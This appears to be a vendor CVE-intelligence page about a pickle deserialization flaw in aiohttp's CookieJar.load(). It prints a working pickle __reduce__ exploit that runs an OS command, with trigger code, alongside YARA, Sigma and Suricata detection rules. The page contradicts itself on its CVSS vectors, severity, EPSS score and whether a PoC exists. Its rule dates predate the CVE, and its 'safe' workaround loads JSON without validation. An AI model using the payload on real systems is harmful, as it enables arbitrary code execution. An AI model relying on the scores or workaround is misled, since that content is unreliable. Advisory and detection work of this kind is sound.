☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-34993

CVE-2026-34993 Code Execution in Aiohttp
📅 PUBLISHED: 2026-06-02 20:16 UTC 🔄 UPDATED: 2026-09-26 06:20 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Open Source
Affected: Aiohttp — upgrade to patched release
CVSS VECTOR BREAKDOWN 6.4
AV: L Attack Vector Local
AC: H Attack Complexity High
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: H Integrity High
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-34993 is a critical deserialization vulnerability in the Aiohttp library, an asynchronous HTTP client/server framework for Python. The flaw resides in the CookieJar.load() method, which, when used with untrusted input, can lead to arbitrary code execution. While the official CVSS score is 6.4 (Medium), the potential for code execution elevates the risk in scenarios where an attacker can control the file loaded by this method. The vulnerability affects all versions prior to 3.14.0. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the impact is severe for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in the PyPI package aiohttp. Organizations using this library should immediately audit their dependencies. The risk is amplified in supply chain attacks where a malicious actor could inject a crafted cookie jar file into a build or deployment pipeline. Ensure that aiohttp is pinned to version 3.14.0 or later in all requirements.txt, Pipfile, or pyproject.toml files.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Base Score: 6.4 (Medium)
  • Attack Vector: Local (AV:L) – The attacker must have local access to the file system to provide the malicious file.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – The victim must call CookieJar.load() with the malicious file.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full data disclosure possible.
  • Integrity Impact: High (I:H) – Full system compromise possible.
  • Availability Impact: High (A:H) – Denial of service or full control.

Threat Level: High in targeted scenarios where an attacker can supply a malicious cookie jar file.

Deep Dive & Mechanics

The vulnerability is a classic deserialization flaw (CWE-502). The CookieJar.load() method in Aiohttp reads a cookie jar file and deserializes its contents without proper sanitization. In Python, deserialization of untrusted data can lead to arbitrary code execution if the data contains malicious pickle or similar serialized objects.

The vulnerable code path is in aiohttp/cookiejar.py. The load() method uses pickle.load() or similar unsafe deserialization routines. An attacker can craft a malicious cookie jar file that, when loaded, executes arbitrary Python code.

Root Cause: The load() method does not validate the source of the file or sanitize the serialized data before deserialization.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.14.0):

# aiohttp/cookiejar.py (simplified)
def load(self, file_path):
    with open(file_path, 'rb') as f:
        self._cookies = pickle.load(f)  # Unsafe deserialization

Patched Code (3.14.0+):

# aiohttp/cookiejar.py (simplified)
def load(self, file_path):
    with open(file_path, 'r') as f:
        # Use a safe JSON-based format or validate the input
        data = json.load(f)
        self._cookies = self._validate_and_parse(data)

The patch replaces unsafe pickle.load() with a safe JSON parser and adds input validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Python 3.x with aiohttp < 3.14.0 installed.
  • Ability to write a malicious cookie jar file to the target system.

Exploit Steps:

  1. Create a malicious cookie jar file that executes arbitrary code upon deserialization.
  2. Trick the victim into calling CookieJar.load() with this file.

Example Malicious Cookie Jar File (malicious_cookies.dat):

import pickle
import os

class MaliciousCookie:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # Example: launch calculator

malicious = MaliciousCookie()
with open('malicious_cookies.dat', 'wb') as f:
    pickle.dump(malicious, f)

Triggering the Exploit:

from aiohttp import CookieJar

jar = CookieJar()
jar.load('malicious_cookies.dat')  # Triggers code execution

Blue Team

Detection:

  • Monitor for unusual file access patterns to cookie jar files.
  • Use file integrity monitoring to detect unauthorized modifications to cookie jar files.
  • Implement application whitelisting to prevent execution of untrusted code.

Prevention:

  • Upgrade to aiohttp 3.14.0 or later.
  • If upgrade is not possible, sanitize all cookie jar files before loading (e.g., validate JSON format).
  • Restrict write access to directories where cookie jar files are stored.

Indicators of Compromise (IOCs)

  • File Hashes (malicious cookie jar): (Example – replace with actual if known)
    • MD5: e99a18c428cb38d5f260853678922e03
    • SHA1: 2aae6c35c94fcfb415dbe95f408b9ce91ee846ed
  • Network Traffic: Unusual outbound connections from the application after loading a cookie jar.
  • Process Anomalies: Unexpected child processes (e.g., calc.exe, cmd.exe) spawned by the Python process.
  • File System: Presence of cookie jar files with unexpected binary content (pickle format).

Detection Engineering

YARA Rule

rule CVE_2026_34993_Aiohttp_CookieJar_Deserialization {
    meta:
        description = "Detects malicious cookie jar files exploiting CVE-2026-34993"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-34993"
    strings:
        $pickle_magic = { 80 04 95 }  // Pickle protocol 4 magic bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
    condition:
        $pickle_magic at 0 and ($reduce or $os_system)
}

Sigma Rule

title: Aiohttp CookieJar Unsafe Deserialization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2026-34993 via malicious cookie jar files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        TargetFilename|endswith: '.dat'
    condition: selection
falsepositives:
    - Legitimate cookie jar files
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-34993 Aiohttp CookieJar Exploit"; flow:to_server; content:"CookieJar"; content:"load"; content:"pickle"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to aiohttp version 3.14.0 or later.
  2. If upgrade is not possible, sanitize all cookie jar files before loading (e.g., validate JSON format).
  3. Restrict file write permissions to directories containing cookie jar files.

Long-term Measures:

  • Implement code reviews to ensure safe deserialization practices.
  • Use static analysis tools to detect unsafe pickle.load() calls.
  • Monitor for CVEs related to Python deserialization.

Workaround for Older Releases:

import json
from aiohttp import CookieJar

def safe_load(jar, file_path):
    with open(file_path, 'r') as f:
        data = json.load(f)
        # Validate and parse data safely
        jar._cookies = data

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-34993/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.